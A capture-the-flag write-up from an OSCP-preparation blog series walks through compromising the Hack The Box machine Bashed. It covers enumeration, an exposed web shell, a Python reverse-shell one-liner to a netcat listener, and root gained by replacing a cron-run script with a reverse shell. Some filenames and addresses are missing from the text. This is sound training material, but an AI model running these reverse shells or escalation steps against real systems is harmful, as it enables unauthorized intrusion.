Path to OSCP: Bashed

As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.

Next on our to-do list is Bashed. Nmap to begin as usual:

u01@nostromo:~$ sudo nmap -p- -A bashed.htb -oA bashed/bashed
Starting Nmap 7.94 ( ) at 2023-08-20 08:41 BST
Nmap scan report for bashed.htb (
Host is up (0.020s latency).
Not shown: 65534 closed tcp ports (reset)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops

TRACEROUTE (using port 1720/tcp)
1 20.26 ms
2 20.57 ms bashed.htb (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 35.58 seconds

Just a single open port, HTTP/80. The main page shows a personal development blog, for the development of phpbash, a “standalone, semi-interactive web shell“.

Fairly obvious where this is going, we need to find an instance of the web shell “carelessly” left publicly accessible. The above example screenshot from the site would suggest it might be found in /uploads/, but that’s not the case. After trying a few more locations manually, I turn to gobuster to see what it can find:

u01@nostromo:~ $gobuster dir-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bashed.htb
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://bashed.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
2023/08/20 08:50:54 Starting gobuster in directory enumeration mode
/images (Status: 301) [Size: 309] [--> http://bashed.htb/images/]
/uploads (Status: 301) [Size: 310] [--> http://bashed.htb/uploads/]
/php (Status: 301) [Size: 306] [--> http://bashed.htb/php/]
/css (Status: 301) [Size: 306] [--> http://bashed.htb/css/]
/dev (Status: 301) [Size: 306] [--> http://bashed.htb/dev/]
/js (Status: 301) [Size: 305] [--> http://bashed.htb/js/]
/fonts (Status: 301) [Size: 308] [--> http://bashed.htb/fonts/]

Sure enough, there’s a /dev/ directory, with two samples of phpbash.

We click the link, and we’re into a webshell as www-data, which we can use to retrieve the user.txt flag from /home/arrexel.

In order to get a better shell I confirm the existence of Python with “which python” then fire off a reverse shell command to a listening netcat instance:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

From here I download LinPEAS with wget and kick off the enumeration script. This throws up a couple of interesting finds, the most promising of which is sudo privileges to run anything as the user ‘scriptmanager’ with no password:

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d


Matching Defaults entries for www-data on bashed:                                                                                                          

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:

    (scriptmanager : scriptmanager) NOPASSWD: ALL

So we do just that to run bash as scriptmanager:

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ sudo -u scriptmanager bash -i
bash: cannot set terminal process group (851): Inappropriate ioctl for device
bash: no job control in this shell

We’re obviously going to be looking for an exploitable script for privilege escalation. In the root directory we have /scripts, which we have access to. It contains a and test.txt file:

scriptmanager@bashed:/var/tmp$ cd /scripts
cd /scripts
scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Sep 1 03:54 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 280 Sep 1 03:57
-rw-r--r-- 1 root root 12 Sep 1 03:57 test.txt
scriptmanager@bashed:/scripts$ cat
f = open("test.txt", "w")
f.write("testing 123!")

As the test.txt file generated by the script is created as root, we can imply that is run under root privileges. We have write access to, and the test.txt appears to get rewritten regularly as part of a cron job, so it’s just a case of modifying the script to do whatever we choose under root.

After a lot of messing trying to modify the existing file with echo and vi over the reverse shell, I decide to just delete the existing file and upload with wget a new file containing a simple python reverse shell to a netcat listener:

scriptmanager@bashed:/scripts$ cat

After a few seconds the file is triggered and we get root with access to root.txt:

u01@nostromo:~$ nc -lvnp 7778
listening on [any] 7778 ...
connect to [] from (UNKNOWN) [] 42962
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *